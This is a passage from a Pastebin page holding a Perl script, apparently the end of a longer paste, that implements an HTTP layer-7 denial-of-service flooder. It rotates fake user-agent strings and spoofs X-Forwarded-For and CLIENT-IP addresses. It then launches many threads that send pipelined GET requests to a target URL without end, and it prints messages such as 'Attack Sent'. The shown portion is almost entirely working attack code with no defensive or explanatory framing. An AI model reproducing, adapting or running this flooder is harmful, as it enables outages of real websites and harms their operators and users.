  456. my $ua = "SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0";
  457. my $ua = "SuperBot/4.4.0.60 (Windows XP)";
  458. my $ua = "Uzbl (Webkit 1.3) (Linux i686 [i686])";
  459. my $ua = "Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1";
  460. my $ua = "W3C_Validator/1.305.2.12 libwww-perl/5.64";
  461. my $ua = "W3C_Validator/1.654";
  462. my $ua = "w3m/0.5.1";
  463. my $ua = "WDG_Validator/1.6.2";
  464. my $ua = "WebCopier v4.6";
  465. my $ua = "Web Downloader/6.9";
  466. my $ua = "WebZIP/3.5 (http://www.spidersoft.com)";
  467. my $ua = "Wget/1.9.1";
  468. my $ua = "Wget/1.9 cvs-stable (Red Hat modified)";
  469. my $ua = "wii libnup/1.0";
  470. my $method = "GET";
  471. my $hilo;
  472. my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
  473. my $randsemilla = "";
  474. for($i = 0; $i < 30; $i++) {
  475.     $randsemilla .= $vals[int(rand($#vals))];
  476. }
  477. sub socker {
  478.     my ($remote,$port) = @_;
  479.     my ($iaddr, $paddr, $proto);
  480.     $iaddr = inet_aton($remote) || return false;
  481.     $paddr = sockaddr_in($port, $iaddr) || return false;
  482.     $proto = getprotobyname('tcp');
  483.     socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  484.     connect(SOCK, $paddr) || return false;
  485.     return SOCK;
  486. }
  487.  
  488.  
  489. sub sender {
  490.     my ($max,$peerto,$host,$file) = @_;
  491.     my $sock;
  492.     while(true) {
  493.         my $packet = "";
  494.         $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $peerto, Proto => 'tcp');
  495.         unless($sock) {
  496.             print "\n[x] Unable to connect...\n\n";
  497.             sleep(1);
  498.             next;
  499.         }
  500.         for($i=0;$i<$porconexion;$i++) {
  501.             $ipinicial = $sumador->mas();
  502.             my $filepath = $file;
  503.             $filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
  504.             $packet .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  505.         }
  506.         $packet =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  507.         print $sock $packet;
  508.     }
  509. }
  510.  
  511. sub sender2 {
  512.     my ($peerto,$host,$packet) = @_;
  513.     my $sock;
  514.     my $sumador :shared;
  515.     while(true) {
  516.         $sock = &socker($host,$peerto);
  517.         unless($sock) {
  518.             print "\n[x] Unable to connect...\n\n";
  519.             next;
  520.         }
  521.         print $sock $packet;
  522.     }
  523. }
  524.  
  525. sub layer7 {
  526.     $SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
  527.     $url = $ARGV[0];
  528.     print "Opening Sockets\n";
  529.     $max = $ARGV[1];
  530.     $porconexion = $ARGV[2];
  531.     $ipfake = $ARGV[3];
  532.     if($porconexion < 1) {
  533.         print "[-]Invalid arg 3...\n";
  534.         exit;
  535.     }
  536.     if($url !~ /^http:\/\//) {
  537.         die("[x] Invalid URL!\n");
  538.     }  
  539.     $url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
  540.     ($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
  541.     $peerto = 80;
  542.     ($host,$peerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
  543.     $file =~ s/\s/ /g;
  544.     print join "","Attack Sent\n";
  545.     $file = "/".$file if($file !~ /^\//);
  546.     print join "","";
  547.     if($ipfake eq "") {
  548.         my $packetbase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  549.         $packetsender = "";
  550.         $packetsender = $packetbase x $porconexion;
  551.         $packetsender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  552.         for($v=0;$v<$max;$v++) {
  553.             $thr[$v] = threads->create('sender2', ($peerto,$host,$packetsender));
  554.         }
  555.     } else {
  556.         $sumador = control->new($ipfake);
  557.         for($v=0;$v<$max;$v++) {
  558.             $thr[$v] = threads->create('sender', ($porconexion,$peerto,$host,$file));
  559.         }
  560.     }
  561.     print "[-] Launched!\n";
  562.     for($v=0;$v<$max;$v++) {
  563.         if ($thr[$v]->is_running()) {
  564.             sleep((int)$ARGV[4]);
  565.             $v--;
  566.         }
  567.     }
  568.     print "[!] Finished!\n";
  569. }
  570.  
  571.  
  572. if($#ARGV > 2) {
  573.     layer7();
  574. } else {
  575.     die("Usage: bty.pl <url> <threads> <sockets> <proxy> <time>\n");
  576. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!